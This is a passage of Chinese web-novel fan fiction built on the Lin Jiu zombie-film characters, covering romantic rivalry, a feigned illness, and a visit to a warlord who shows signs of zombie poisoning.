她甚至做梦的时候,都会梦到林正英就这样叩响她的房门。 知道是他来后,她的一颗心又慌又喜,甚至在房间内快速徘徊了几下。 就在这时,她突然想起她诓林九来的理由是生病! 于是眼一转,赶紧从一旁老乡送的菜篮子里,拿出几个辣椒一口塞进嘴里吃着,手上还不时拿起生姜一掰,然后往脸蛋上磨蹭了几下。 一时间,内外皆火辣辣的。 蔗姑只感觉股股热气直涌上头,额间瞬间就出了一层细汗,两颊也变得红扑扑的,倒真像是发烧了的样子。 就在这时,门外又响起了一阵越发急促的敲门声。 蔗姑麻溜地一个闪身,“嗖”地一下就蹦到了床上,然后有气无力地喊: “进来~” 林九和静之,一个在前一个在后,推开门就走了进来。 “你来干什么?!” 蔗姑突然一嗓子,直接暴露了她原本中气十足的大嗓门。 林九的眉头瞬间就皱了起来。 他这师妹,又搁这儿骗他呢,真的是…… 他迅速挪开视线,转过身就想走。 “林正英!咳咳,我真的生病了~” 蔗姑不再管静之,声线开始变得虚软无力,只是不时瞧向窗外的眼神,变得有些犹豫。 蔗姑:这下坏了,这个姑娘在这儿,她的计划可怎么顺利进行呢? 正当她纠结的时候,静之把药箱往她床头一放,然后坐到她身侧。 “哪里不舒服?” 蔗姑默了。 过了好一会儿才反应过来,“你会看病吗?” 静之笑了笑说:“略懂。” 蔗姑一下噎住了,她别过脸去看着林九说:“我不要她治,略懂略懂,把我治没了怎么办?”她抬手一指林九,眼里带上一抹掩饰不住的期待,“我要你来~” 林九顿时抖了一下,赶紧咳了一声,侧站着身子避过蔗姑火热的视线。 静之观其面色,过分潮红,吐气灼热,看上去确实是有些火气。 只是这火气因何而起,还需要进一步查明。 奈何蔗姑不信她,她只得站起来让出床边位置,说出了自告白以来,第一句跟林九说的话。 “九叔,你来吧,莫要耽误了她的病情。” 一声“九叔”,让林九的心莫名沉了沉。 他轻咬了下后槽牙,想说赶紧给师妹看完了事,于是走上前去,在床头坐下。 林九掰开蔗姑的双眼看了看,又仔细打量了一下她的脸色。 “师妹,你火气很大啊。” 静之:“她面红耳赤,是不是肝火?” 林九此刻心神被蔗姑的外在症状迷惑,他皱眉轻轻摇头,“口干舌燥才是肝火。” 静之:“那是不是虚火呢?” 林九转过头看她,却被她专注的眼神晃了一下。 于是赶紧低下头说:“虚火是腰酸背疼。” “那是什么火?” 林九有些难以启齿,思量了半天,悄悄凑近她耳边说:“欲火。” 莫名的,两人都红了耳朵。 蔗姑看着眼前一坐一立两人之间暧昧的氛围,心里不爽极了。 她头一撇,忍不住想抖腿,但是心上人在这儿,她死死忍住了,甚至还夹了一下嗓子说: “那怎么办呢~” 林九站了起来,就开始宽衣解带。 解到一半,静之一把将他敞开的领口摁了回去,“你干什么?” “她需要发泄一下。” 静之咬牙切齿,回头看了一眼蔗姑,却看见她正抖着腿一脸得意地看着她,还对她做了个口型。 静之定睛一看,她分明说的就是“我赢了!” 她闭了闭眼,动作极其迅速地把林九的腰带系了回去,还多打了两个结。 “什么方法,你告诉我,我来做。” 林九想了想,他一介男子,对师妹做那个举动确实是不太合适,于是点了点头。 然后从药箱里拿了根竹刮板递给静之,又凑到她耳边说着悄悄话。 “喂!说什么呢?”见林九看过来,蔗姑又哎呦一声,娇滴滴地说:“你来吧,我不会介意的~” 话音刚落,静之就解了她的外衫,只着中衣爬上了蔗姑的床。 速度太快,蔗姑只来得及喂喂两声,就被静之把她的两只手绑在床头。 “你干什么,我不喜欢女的啊,快给我下去。” 林九拿着静之的外衣,还站在床前劝: “师妹,发泄出来就好了,你忍着点。” 此时,躲在外头的秋生和文才对视了一眼。 “师兄,我们这样会不会对不起静之姐啊?” 秋生耸了耸肩,“你放心啦,不推师父一把,他就会一直原地踏步的。” 他又悄悄凑近文才耳边说: “等会听到叫声就放水,我相信师父一定能够把持得住自己的,毕竟蔗姑追了他这么多年,他都没答应。” …… 屋内。 静之与蔗姑对视的目光,好像带着阵阵火花。 林九莫名的,突然感觉空气有些窒息,于是他悄悄地往后面挪了几步。 说时迟那时快,蔗姑终于按捺不住,先动手了! 她抬腿就朝着静之的肩膀踹了过去。 没成想静之的身手也挺厉害,只见她一个闪身,轻轻松松就抓住了蔗姑的脚踝,还调皮地笑了笑。 这一招,还是她跟林风学的呢,可熟得很! 还没等蔗姑回过神来,静之就拿起手里的竹刮板,“唰唰唰”地往蔗姑的脚底板上刮了起来。 那感觉,又疼,又酸,又带劲! 蔗姑忍不住哇哇大叫,另一只脚也不停地扑腾着。 在一阵手忙脚乱的挣扎中,也许是觉得自己太没面子了,蔗姑一个鲤鱼打挺,“嗖”地一下就挣脱了静之的束缚。 然后飞起一脚,把静之直接踹出了拔步床。 林九瞳孔一缩,上前两步刚想接住她。 静之的反应也极快,她左手抓住脸盆架,借力一个后空翻,稳稳地落在窗户前。 “我没事,你放——” “滋——” 就在这时,一股强大而迅猛的水流毫无征兆地从窗外激射而入,准确无误地把静之浇了个透心凉。 她身上那件洁白如雪的中衣,在水流的猛烈浇灌下,瞬间变得半透明起来。 透过那层薄薄的衣物,可以清晰地看到她婀娜多姿的身材曲线,林九霎时看呆了去。 林九只觉得一股突如其来的无名之火,在体内横冲直撞…… “九叔,呸。”她抬手遮着有几分冲击力的水流,不断呸出溅入她嘴里的水流,“是谁,谁偷袭我!” 林九被静之这声充满怒气的吼声猛地拉回到现实中,他的脸瞬间涨得通红,像是熟透的苹果一般。 慌乱之下,他不敢再多看静之一眼,而是迅速转过头去,将视线投向躺在床上的蔗姑。 却见蔗姑双手交叉放在小腹上,闭着眼睛,一副安详去世的样子躺着。 很显然,她摆出这一副模样,摆明了就是不想回答任何问题。 他气不打一处来,快走两步走到门外。 当看到是文才跟秋生正拿着水管往里滋时,他额头青筋直跳,当即冲了过去,一人给了一巴掌,“正事不干,天天干这种偷鸡摸狗的事,给我滚回去面壁思过!” 秋生捂着火辣辣的脸,一脸委屈地说: “师父,既然你不接受静之姐,那我们帮一帮蔗姑又有什么不可以?” 林九巴掌高高扬起,“我看你今天是皮痒了,你——” 就在这时,静之白着一张脸,伸着头和一只手出来,”九叔,好冷,衣服给我。” 林九还没说话呢,秋生大惊失色:“静之姐,怎么会是你?” 静之皱眉:“怎么不是我?” 刹那间,她回过神来,“你们选择帮她?” 一时之间,她也动了气。 她对他们这么好,他们居然选择帮她?! 于是一张惨白的脸,愈发冷了。 秋生慌了,他快走两步想走到她跟前解释,还没走两步,林九跨步上前,挡住了他的视线,脸黑得惊人,低沉的嗓音仿佛是从地狱里飘起:“给我滚回去。” 文才见势不妙,赶紧扯着还想解释两句的秋生一溜烟跑走了。 “九叔,衣服。” 林九身子一震,刚想回过身递给她衣服,脑子里又浮现出她刚刚春光乍泄的一幕,脸色瞬间转黑为红,又迅速带上一丝歉意。 他背着身子,展开右手,将搭在手弯处的衣服往后递了递,“对不起,都是我这两个不成器的徒弟,才害的你……” 话未说完,他手一轻,静之披着自己的外衣,回头与蔗姑对视了一眼。 蔗姑有些心虚,刚想挪开眼神,却被她那幽幽的一眼震在原地,又被她是一句话臊得无地自容。 静之:“我今天没想跟你比,是真想来给你看病的。” 她又对林九说:“我先回去了,你若要帮她看病,就看吧。” 尽管静之外头的衣服是干燥的,此时也被她湿透了的中衣浸得贴在了身上。 她没有再看林九一眼,就这样半湿不干地朝那条直溜的巷子往外走。 林九抬脚便要追上去,身后突然被掷来一套干净的衣服。 蔗姑此时已经挣脱开了手腕上的束缚,她眼神复杂地看着林九,“给她换上,这次是我不对,请代我向她说声抱歉。” 林九有些讶异,他还从未见过他师妹这般一本正经的样子。 蔗姑:“还不走?难道真想留下来帮我解解这欲火?” 她的眼里暗含着的几分期待,在林九毫不犹豫转身的瞬间,寂灭得一干二净。 …… 蔗姑坐在床上许久,才从怀里掏出一个怀表。 乍一打开,那个心形的怀表的里侧两面,是林九和她的照片。 看了得有一刻钟,她突然发出了一声嗤笑,然后轻轻的把林九的照片抠了出来,捧在手心看了一会儿,才一扬手,引起火焰将其燃尽。 她想,也许不用比,她就已经输了。 林正英这个人,不爱便是不爱,尽管她使尽浑身解数,他依旧不会为她停留一秒。 …… 另一边。 静之还未走到巷子口,身上突然就被从后面披上了一件衣服。 不是蔗姑的,带着淡淡的檀香和一股烟味。 是……他的袍子! 静之震惊回头,他仅着中衣,清了清嗓子说: “快回去吧,虽是七月,穿着湿衣服,也会着凉的。” 静之面色稍稍回暖,她急忙跟上他急促的脚步。 “阿九,你是不是在关心我?” 她又叫阿九了呢,林九心下一松。 他眼观四路,大街上但凡有个人看向她,他就一个箭步上前挡在她前面。 他说:“这件事,因我而起,我理应这么做。” 静之知道他口不对心的性格,她苍白的唇慢慢咧出了个欢喜的笑容,亮晶晶的眸子紧盯着他有些圆润的后脑勺,轻声说道: “你就是关心我。” 林九脚步一顿,渐渐放慢了脚步等她,就这几秒钟,他已经收拾好了躁动的心,嘴上不急不缓的说: “你跟秋生他们一样,相处久了,关心一下,也是应该的。” “……我不信。” …… 秋生心里暗自琢磨着,以这次所犯错误的严重程度来看,他们铁定逃不过师父严厉的惩罚。 然而,当林九终于回到义庄后,他竟然只是淡淡地说了一句: “你们两个,给我到院子里去蹲一个时辰马步!” 听到这话,秋生整个人都呆住了。 他转头,和同样惊得合不上下巴的文才面面相觑。 正在这时,只见一个身着师父长袍的女子款款走进了院子。 定睛一看,原来是静之。 她面带微笑,眼神中透露出一丝掩饰不住的喜悦。 二人瞬间明了。 这两个人,破冰了? 难道说,静之就要成为他们的师母了吗? 想到这里,两人不禁相视一笑,心中暗暗替师父感到高兴。 可就在他们满心欢喜地期待着这段美好姻缘能够顺利发展之时,一件谁也没有料到的事情却毫无征兆地发生了… 第105章 念英? “叩叩叩!” “谁?” 声音哑了。 静之微微皱眉,抬手捏了捏脖子。 不至于吧,她觉得她壮得跟头牛似的,不至于淋一点水就感冒吧? 而且这是七月流火的七月诶,刚刚一路走回来,她身上又披了件林九的外衣,整个人热得跟蒸笼里的虾子一般,差点没被太阳和她身上的水汽蒸熟,怎么可能会感冒呢? “是我,秋生!” 静之眸子一暗,心情一下down下来。 她撇嘴,不想回答。 这臭小子,白对他那么好了。 门外的人估计见她许久不应,于是又敲了敲。 “叩叩叩!” 敲门声不紧不慢。 “给我吧。” 林九的声音突然在门外响起。 静之眼前一亮,刚要下床穿鞋,门就被轻轻推开了。 “不用下来。” 他端着个托盘走了过来。 刚走两步,一股屋外的暖风迎面吹来,卷着那托盘上的丝丝热气萦进屋内。 是…姜的味道。 她皱眉,推开身后的被子,朝床里侧挪了挪,“我不喝,我没病。” 林九眉心突然竖起一条线,“你听听你的嗓子哑成什么样了。” 他把托盘往她面前一摆,“喝掉。” 骤一接近,姜味更浓了,静之甚至都能想象到那姜汤入喉时,火辣辣的感觉。 于是眉头拧得都快打结了,身子不由自主又朝后仰了仰。 林九还真没见过这般抗拒喝药的人。 以往文才生病,他只要一个冷眼过去,文才就算苦着脸,喝药也依旧喝得飞快。 今天,他就算把两只眼睛都快瞪出来了,静之依旧不为所动。 她虽然早就换了身干净衣服,但嘴唇依旧苍白,脸上却突然泛起两坨异样的潮红。 林九心里一个咯噔,忍不住伸出手背轻轻贴到她额头上。 皮肤相触的一瞬间,林九无语了。 “你发烧了,你都没感觉吗?” 他师妹没病,反倒是要帮人治病的她病了,这又算哪门子事儿? 静之眼神有些湿润,她没有回话,只是怔在原地,感受着他手背的温暖。 她甚至有些不合时宜的想着,这还是…他第一次主动接触她呢。 摸额头也是摸摸,怎么不算呢? “烧傻了?” 她乖乖回答:“没有。” “……那就赶紧喝掉。” 他撤回手背,把托盘放床边桌上,然后端起碗递给她。 静之没接,她垂眸看着眼前那只骨节分明的大手,突然微微凑近轻嗅了两下。 似是确认了什么,她突然笑弯了两只大眼睛。 “你煮的姜汤?” 他的手上,有姜的味道呢。 林九死鸭子嘴硬:“秋生煮的。” 趴门外偷听的秋生可不想再被误会了,他冒着被林九抽烂屁股的风险,隔着门高声朝里头喊: “师父一回来就去煮姜汤了,这回可不是我!!” 静之动动耳朵,接过他手里的碗,傻傻的笑了笑,“阿九第一次为我煮东西呢,我喝。” 虽然是姜汤,但她甘之如饴。 林九本想再反驳两句,但看她虽皱着眉,却还是乖乖喝着,便识趣地闭上了嘴巴。 姜汤确实火辣辣的,静之才喝了半碗,就感觉从嘴巴到胃里都像着了火一样。 好在烧得不算厉害,这半碗下肚,她就觉得头皮的毛孔全都张开了,头重脚轻的感觉一下子消失了不少,整个人也瞬间出了一层细汗。 见她停了下来,林九伸手托了托碗底,“都喝掉。” 静之咽了咽口水,老实说: “有点辣,我缓一缓再喝。” 林九点点头,拿起桌上的托盘,转身就要往外走。 “阿九……” 林九的脚步猛地一顿,右手不自觉地握紧了托盘,“还需要什么?” 静之看着她手里橙黄色的姜汤,微微一笑:“没什么。” 她能感觉得到,他的心,已经开始慢慢动摇了呢…… …… 这姜汤,她喝了两天,第三天,她抬手拒绝了。 “阿九,不喝了行不行,我不烧了,再喝下去,要流鼻血了。” 静之呼了口气,觉得连嘴里都是一股姜味,呼出的气,也有些火热,她能感觉得到自己上火了。 “那就不喝。” 他拿着托盘里倒扣着的干净杯子,倒了杯茶水,推到她面前,“多喝点水。” 静之看着那盛了三分之二茶水的杯子,眼神一下子温柔了起来。 “嗯。” 就在二人在亭中对坐,喝茶赏风景的时候,秋生和文才一左一右,簇拥着一个牵着自行车的女孩,从外面走了进来。 静之转过身,好奇地上下打量着她,“……你好呀,你找谁呀?” 小姑娘还没来得及回答,秋生就迫不及待地指了指林九,“那还用说,当然是找我们师父啦。” 小姑娘连连点头说:“我姐夫前些日子得了怪病,怎么治都治不好,所以我姐姐就让我来找您啦。” 林九疑惑地问道:“你姐姐是?” 小姑娘这才想起自己还没介绍呢,她有些害羞地笑了笑说: “哦,我姐姐叫米其莲。” 听到这个熟悉的名字,林九突然像被雷击中了一样,整个人都呆住了,思绪一下子回到了十几年前,嘴里不由自主地轻声呢喃:“莲妹……” “哐!” 静之手忙脚乱地扶起打翻的茶杯,低着头,脸色有些奇怪,“抱歉,打扰到你们谈话了。” 边说着,她有些慌乱地从怀里掏出手帕,擦拭着桌面上的水渍。 小姑娘有些奇怪地看了她一眼,又笑了笑说: “没事的,还没自我介绍呢,我叫念英。” “啪!” 一个茶杯陡然掉在地上,摔得粉碎,剩下的茶水溅得到处都是,这次静之却完全没有心思去收拾。 她跟着喃喃低语:“念英……” 念……英吗? 什么样的女子,会将自己的妹妹取做这样的名字? 秋生没好气地看了怔在原地的林九一眼。 他师父干什么呢? 两人关系这才要好起来了,这会儿居然在发呆?! 他心里替静之感到愤愤不平,见静之脸色不好的样子,于是故意逗趣地说: “为什么非得叫念英,叫念秋或者念才不行吗?” 文才也跟着起哄:“就是,就是,怎么不叫念经呢?” “噗呲!” 静之原本郁闷的心情,瞬间被这两个活宝打散。 文才挠挠头,咧嘴一笑:“笑了就好!” 秋生见静之想弯腰收拾碎片,赶忙出声阻拦,然后迅速拿来扫把簸箕,“诶,你别动,小心割到手,让我来。” 他边扫着,边朝着还愣在原地的林九翻了个白眼,“我不像有些人,有了旧爱,连眼前人都忘记喽。” 林九无暇理会他的暗讽,只是蹙着眉对念英说: “你等我一会儿,我换个衣服就跟你走。” 念英面色一喜,甜甜应了一声。 静之也没必要为难一个小姑娘,于是靠在栏杆上,随意与她话了两句家常。 她这才知道,原来她姐姐竟是嫁给了省城的龙大帅,那林九这回竟是要到省城去了吗? 而且,看他那着急忙慌的样子,静之心里不由得一沉。 之前给亲师妹蔗姑看病,他都推三阻四的。 这下…… 还没等她琢磨出个所以然来,不远处就传来了林九的声音。 “好了,我们走吧。” 众人闻声望去,除了静之,皆是哇声一片。 只见林九身穿一身极其正式的黑色燕尾服,手上居然还拿着配套的黑色手杖。 早上略显蓬松的短发,此时被整整齐齐梳至脑后。 以她两眼都是5.0的视力,她甚至可以看到他打了发蜡。 他这是因为要去省城才这样穿,还是……为了见他的老情人? 静之面色犹如一泓毫无波澜的死水,先前数日积攒起来的愉悦心情,就在这一瞬间消散得无影无踪。 她猛地转过身,朝着自己的房间疾步而去。 一直关注着这边动静的林九,此时方才察觉到静之的异样。 他心中一紧,想要立刻追上前去向她解释。 然而,正当他准备迈步的时候,却发现秋生已经抢先一步跟在了静之后面。 林九不禁犹豫了一下,双脚像是被钉住了一般,最终还是停留在了原地。 …… 诶诶,你怎么不一块儿去呀?” 秋生一边喊着,一边加快脚步,小跑到了静之身旁。 他微微侧过脸,小心翼翼地观察着静之的神色。 当他看到静之那双没有丝毫温度的眼眸时,心里不由得暗暗叫苦: 这下可麻烦大了! 不过,秋生还没忘记自己追上来的目的。 他深吸一口气,鼓起勇气开始为师父辩解道: “你知道我师父好面子,那个莲妹当时为了那个有权有势的大帅,抛弃了她的青梅竹马,也就是我师父。 他之所以会那样穿,估计是男人的自尊心作祟,想要借此找回一点场子罢了……” 见她要关上门,秋生赶紧一把将门扇把住,“你真生气啦?” 静之扯了扯嘴角,“没生气,我换身衣服,跟你们一起去。” 秋生听她这么说,赶紧放开手,任由她将门合上。 他心中暗忖: 难道静之姐要换上她最靓的“战袍”,跟那个莲妹,一决高下吗? …… 几分钟后。 就在这时,一个身影出现在众人眼前,而这个身影却令在场的人全都瞠目结舌。 一眼望去,便能清晰分辨出这分明是男子的装扮。 此人正是静之。 秋生傻眼半天,过了好一会儿,他才终于回过神来,艰难地从喉咙里挤出一丝干涩的声音: “你……气疯啦?” 静之将一头白发高高竖起,颇有些不悦地朝他一挑眉,“难道不好看吗?” 秋生一时语塞,他仔细端详了一番静之,不得不承认,此刻的静之确实别有一番韵味。 这身男装打扮不仅没有掩盖住她原本的美丽,反倒增添了几分英气和洒脱。 即便如此,秋生心中依然充满了疑惑和担忧,犹豫再三,他还是开口说道: “倒也不是,是挺好看。但是你……真没事啊?” 静之唰的一下打开手中的折扇,动作潇洒自如,然后迈步走到林九身前,“看什么看,没看过帅哥啊,还不走?” 林九见状,眉头紧紧皱起,眼中满是不解之色。 此时的师徒三人似乎心有灵犀一般,谁也没有再多问一句,只是默默地注视着前方那个月白色的身影,陷入了沉思之中。 …… 念英有求于人,自然已事先备好车辆。 四人一入镇子,便被停在镇口的一辆黑色汽车接走。 秋生和文才这俩家伙就像刘姥姥进大观园一样,东瞅瞅西看看,脸上写满了好奇与兴奋。 而此时,林九则稳稳当当地坐在前排座位上。 他的目光看似随意,但实则隐晦地将车内精致的装潢扫视了一遍。 对于这些奢华的配置,林九并没有流露出太多的新奇之感,毕竟以他多年的阅历来说,这点小场面还不足以让他大惊小怪。 然而,看着身后两个徒弟那没出息的样子,他心里不由得升起一丝不快。 就在这时,林九的目光不经意间透过前方的后视镜,瞥见了安静地坐在后座中央位置的静之。 刹那间,他不禁微微一怔。 静之完全没有像秋生和文才那样对这辆车充满好奇,她不仅面无表情,甚至已经轻轻地合上了双眼。 此刻的她正环抱双臂,倚靠在椅背上。 也不知道到底是已进入梦乡,还是正在闭目沉思着什么。 林九暗自思忖道:“想来也是,她本就是灵猫化身,所经历过的奇闻异事想必数不胜数。这样一辆车子于她而言,自然算不得什么新鲜玩意儿。” 想到此处,原本因为两个徒弟的失态而刚刚泛起些许不悦的心,竟渐渐地因为静之那份淡定而慢慢平复了下去。 …… 奔波半天,车辆终于缓缓驶入了一座气势恢宏的大院中,里头三步一兵,十步一哨。 秋生和文才看了一路,也看够了,这时皆安静下来,只时不时侧头过去,看着外头士兵手里的枪。 念英独坐一辆车跟在他们后头,这会儿,后头那辆车的司机跟着前车一起停了下来。 随后,司机迅速下车,并恭恭敬敬地走到念英所坐的车门前,轻轻将其拉开。 司机微微躬身说道: “小小姐,到了。” 念英轻点了下头,轻声回应:“嗯。” 随后,有些急切地下了车。 还未等前头司机为众人开门,她便快步上前,一把打开了林九的车门,“九叔,到了,快进来,我姐夫就在里面。” 林九一抬眼,后座已没了人,两边车门大敞开着。 他连忙将目光投向车外,只见自己的两名徒弟正仰着头,满脸惊叹地打量着眼前这座雕梁画栋的建筑。 而不远处的静之正背着手,稳步踏上一级阶梯,朝着这边望了过来。 一看就是在等他,林九莫名松了口气。 于是抬脚下车,唤了一声还在左看右看的徒弟们,便朝静之走去。 …… 四人还未进屋,便听到屋内传来阵阵东瀛小调。 静之眉头瞬间皱紧。 经过九菊一派那事儿,她对东瀛人,乃至东瀛的各种东西,都失去了好感,甚至是厌恶。 刚被念英引进大厅,众人就看到“人力回转寿司”。 顾名思义,就是三个士兵藏在桌子中间,手托着菜盘子顶在头上,在里头半蹲着身子旋转着。 人权在哪里?! 静之瞬间无语。 心中不由暗叹,果然是权利至上的年代。 “豆豉英,你怎么来了?” 静之猛地抬起头来,目光朝着上方望去。 当她终于看清楚座位之上那人的面容时,心中不由得一惊。 随即,她迅速侧过脸,轻声向身旁的秋生询问道: “这……这不是阿威吗?怎么感觉才没多久不见,他升官这么快啊?” 秋生微微撇了撇嘴,脸上流露出一丝不屑的神情。 他同样将声音压得极低,悄悄回答: “你可别认错,这可不是阿威,而是阿威的亲哥哥!” 还没等她消化完这个事实,秋生清了清嗓子,有些不悦地问元帅: “你干嘛叫我们师父豆豉英啊?” 只见那元帅嘴角微微上扬,浮现出一抹轻蔑的笑容。 他漫不经心地斜睨了林九四人一眼,随后冷笑着说道: “哼,你们有所不知,想当年,你师父以前和我抢女人,只可惜技不如人,抢不过我,就跑去做道士了。 既然是道士嘛,道士英、道士英,叫着叫着可不就变成豆豉英喽!哈哈哈哈哈……” 说到最后,元帅竟是肆无忌惮地放声大笑起来。 一来就被打脸,林九面色瞬间沉了下来,静之更是额头青筋直跳。 “你!” 林九一把扯住静之的胳膊,低声说了句:“别冲动。” 就在这个时候,念英的脸上泛起一丝红晕,她有些不好意思地地朝众人瞥了一眼,然后将目光聚焦在了元帅身上。 只见她眉头微皱,满脸都是不赞同的神色说道: “姐夫,九叔可是我专门请来给您看病的,您怎么能这么称呼人家呢?” 元帅听后,不以为然地摆了摆手,满不在乎地回应道: “看什么病?我没病啊,不过就是手脚偶尔有点僵硬,指甲稍微有点痒痒而已。” 说话间,他不由自主地伸出那双有些长且颜色开始暗淡的指甲,在自己的脖子上轻轻挠了几下。 随着他手指的挠动,原本整齐扣着的绿色军衣领口也被不经意地拨弄开来。 站在一旁的静之眼神敏锐,一下子就注意到了元帅脖子上的异样。 她定睛一看,发现那里竟有着两个圆形的结痂。 她心中一惊,连忙侧过身子,压低声音悄悄地对着身旁的林九说道: “阿九,我之前去镇上查看的那具尸体,脖子上也有这样的血洞。只不过,他脖子上的伤口要稍浅一些,但形状和位置几乎一模一样呢。还有那任老爷,当时不也是这样的?” 文才也看到了,他在另外一头扯了扯林九的袖子,低声说道: “师父,我知道这感觉,痒起来还蛮舒服的。” 话刚说完,其他三人皆一脸无语的看着他。 咋? 被僵尸戳了两次,你还上瘾了?! 就在这时,元帅被念英劝得有些头疼,于是一挥手,看似勉强,实则拿看土包子的眼神瞧着众人: “哎呀,算了算了, 你们大老远还没吃饭吧,坐下来一起吃点?这东洋的撒西米,可贵了。” 第106章 英哥&莲妹 “阿九,怎么办?” 静之有些着急,这一看就要变僵尸了,还吃什么饭,还不赶紧解尸毒? “静观其变。” 然而,林九却显得异常镇定,只见他面不改色,迈着沉稳的步伐缓缓朝元帅走去,并若无其事地坐到了元帅的对面。 其余三人心惊胆战地看着林九的举动,但见他如此冷静,也只好硬着头皮跟随着一起坐了下去。 这时,元帅轻轻拍了拍手,蹲在中间的那三个士兵立刻开始转动起来。 元帅微微一笑,伸手做了个邀请的手势,说道:“诸位,请吧!” 秋生和文才从未见过这样稀奇古怪的场面,一时间竟看得目瞪口呆。 当他们看到一盘盘新鲜的生鱼片随着转盘转到自己眼前时,肚子里的馋虫瞬间被勾了出来。 两人二话不说,拿起筷子就朝着生鱼片夹去。 第一块生鱼片刚刚送进嘴里,只听“哇”的一声惊叹从两人的口中同时传出。 紧接着,他们顾不上说话,又急忙伸出筷子夹起第二块塞进嘴里,一边狼吞虎咽地咀嚼着,一边含糊不清地发出阵阵赞叹声:“哇!好吃!” 坐在一旁的林九听到两人夸张的赞美,忍不住侧过头看了一眼。 只见秋生和文才吃得不亦乐乎,仿佛已经完全忘记了眼前中了尸毒的大帅。 林九心中暗自思忖:“难道这生鱼片真有那么好吃?” 他拿起筷子,刚想夹一块试试,他的袖子就被静之一把扯住。 阿九!”静之急切地喊道,见大帅看过来,她扯了下嘴角,又压低声音朝林九说道:“生的三文鱼有些带有寄生虫的,吃下去很容易拉肚子的,这个大帅中了尸毒,我们还是小心为上,千万别出了什么岔子。” 她朝席间看了一眼,微微抬了下巴示意,“你就吃点绿色的吧,我出去给你买点东西回来填填肚子。” 这几碟东西,也就只有盘中的海草看起来比较无害,她想,吃这玩意儿应该不会出错吧。 于是站起身子,跟元帅瞎掰了个要上厕所的理由,就朝外头走去。 林九也不是重口腹之欲的人,刚刚听静之那么一说,他也打消了要尝试的心,于是就夹了几筷子海草尝了尝。 味道,也就一般吧。 林九正慢条斯理地品尝着海草,那边厢的秋生和文才可就完全不同了。 他俩犹如饿死鬼投胎一般,将面前的三碟生鱼片席卷一空。 此时两人腆着肚子,看着他们师父夹起了一坨绿色的东西往嘴里塞去。 秋生是肉食动物,一口菜都没吃,此时他凑近脸,有些好奇发问: “怎么样师父,好不好吃啊?” 林九哪里还说得出话,他只觉得天灵盖都快被这坨看起来无害的东西给硬生生地顶开了。 双手不受控制般地猛地插进头发里,想要借此缓解一下那种难以言喻的不适感。 然而,那刺激的味道瞬间让他涨得满脸通红,甚至连舌头也不由自主地微微吐出了一点儿。 可是,此时此刻,他的两个徒弟正坐在一旁看着他呢。 更要命的是,那个曾经与他针锋相对、如今却一脸坏笑的昔日情敌也在目不转睛地看着他出丑。 林九心里暗暗叫苦不迭,但无论如何,他也要强忍着这股几乎要冲破喉咙的冲天辣意。 但生理反应骗不了人。 这一憋,他只觉得鼻水止不住地往下流,眼泪也不停地在眼眶里打转。 恰在此时,只见一位肚大如箩的孕妇,在一名身着紫衣的女子小心翼翼的搀扶下,缓缓地走进了屋内。 “大龙。” 元帅立马迎了上去,“老婆,你回来了。” 听到久违的声音,林九浑身一颤,下意识地回过头来。 当他看清来人时,嘴唇微颤,喃喃自语道:“莲妹……” “英哥,你来啦!” 米其莲缓缓地朝着那个身影走去。 当她目光落在了林九脸上时,不禁微微一怔。 只见林九满眼泪花,他一边用双手擦拭着眼角的泪水,一边朝自己看了过来。 米其莲见状,心中微微一动。 她隐晦地瞥了身旁的丈夫一眼,然后柔声劝道:“英哥,你别这样嘛……” “老婆~~”听到米其莲这声娇柔的呼唤,站在一旁的元帅顿时不干了。 他瞪大了眼睛,满脸醋意地盯着米其莲和林九,嘴里嘟囔着:“怎么能这么叫呢……” 然而,此刻的米其莲却丝毫没有理会元帅的不满。 不知为何,看着眼前两个男人为了自己争风吃醋,她的心底竟然涌起了一股难以言喻的得意。 这种感觉让她有些飘飘然起来。 似乎是想要看到更多这两个男人对她表现出在意,米其莲轻启朱唇,声音温柔如水地说道: “念英应该已经跟你说过了,大龙他得了怪病,一直不见好。你医术高明,就帮忙给他看看吧。” 说着话的同时,米其莲不自觉地上前一步,向着林九靠近。 也许是因为太过心急,又或许是有意为之,她伸出一只玉手,作势要搭在林九的胳膊上。 就在这时,一道人影如同闪电一般从后面疾驰而来。 原来是静之。 只见她面色冷峻,眼神中也透着一丝寒意。 静之伸手一把扯住正在“哭泣”的林九胳膊,用力往旁边一扯。 由于事发突然,林九被拉得一个踉跄。 而米其莲的手则尴尬地停留在半空中。 “夫人,请自重!既然您已有夫婿,就应当与其他男子保持距离。” 静之侧过脸去,目光落在那依旧红着眼眶的林九身上,心中不由得泛起一阵难以言喻的疼痛。 她手中紧紧握着手中那包欲买给他止饥的老婆饼,由于过度用力,竟将它生生地捏得变了形。 站在一旁的米其莲满脸狐疑地望着眼前这位“小公子”,心头掠过一丝不满。 她与自己的师兄已经许久未曾见面,今日好不容易得以重逢,正想好好叙旧一番呢,怎料却突然杀出这么一个程咬金来捣乱。 想到此处,米其莲下意识地上前迈了一步,打算开口向对方解释清楚其中缘由。 然而,就在这一瞬间,一股突如其来的剧痛猛地从她的腹部袭来,令她猝不及防,忍不住哀嚎出声:“哎哟……好痛啊!” 听到米其莲痛苦的呼声,她旁边的紫衣女子脸色一变,急忙三步并作两步冲上前去,关切地扶住摇摇欲坠的她,柔声说道:“夫人,又痛了?我扶您回房休息吧。” 像是知道林九的本事,她始终低着头,一头黑发掩住了她大半张脸,她小心翼翼地搀着米其莲绕过林九和静之,快速往内室走去。 第107章 缓解林九之痛 静之和红着眼的林九纷纷看向那女子的背影,眉头都皱了起来。 就在这时,念英走了过来,林九一把将她拉过来,悄悄问道: “你姐姐旁边的是什么人?” 念英回头看了一眼那女子的背影,笑了笑说: “哦,她是自己来应征的,我姐姐刚怀孕的时候常常叫痛,她来以后就不痛了。” 静之环着胸,疑惑地说: “这么神奇?” 念英点点头,视线又挪到不时抖一下身子的大帅身上,她的眼神透露出些许担忧,“九叔,我姐夫的病怎么办?” 林九胸有成竹,“等会去祠堂看看就知道了。” 念英:“我也要去!” 林九一脸不赞同,“那里小孩子不能去。” 她姐夫可是被尸毒感染的,祠堂里万一真有僵尸,她一个小姑娘去那儿的话,只会让他束手束脚。 就在几人还在聊天时,大帅拿着军帽走了过来,“不是要去祠堂吗?天都快黑了,走吧!” 林九一行人,纷纷后退两步离他远点,这才应声说好。 大帅剜了几人一眼,嘴里低声哔哔两句什么,这才带着一队士兵绕过门口的喷泉,走出院子带路去了。 文才和秋生跟在前头,林九和静之不紧不慢地走在最后面。 就在这时,静之突然凑到林九嘴附近嗅了嗅,“你吃芥末了。” 语气下沉,是个肯定句。 她闻到芥末的味道了,还挺呛鼻。 “你吃了多少?” 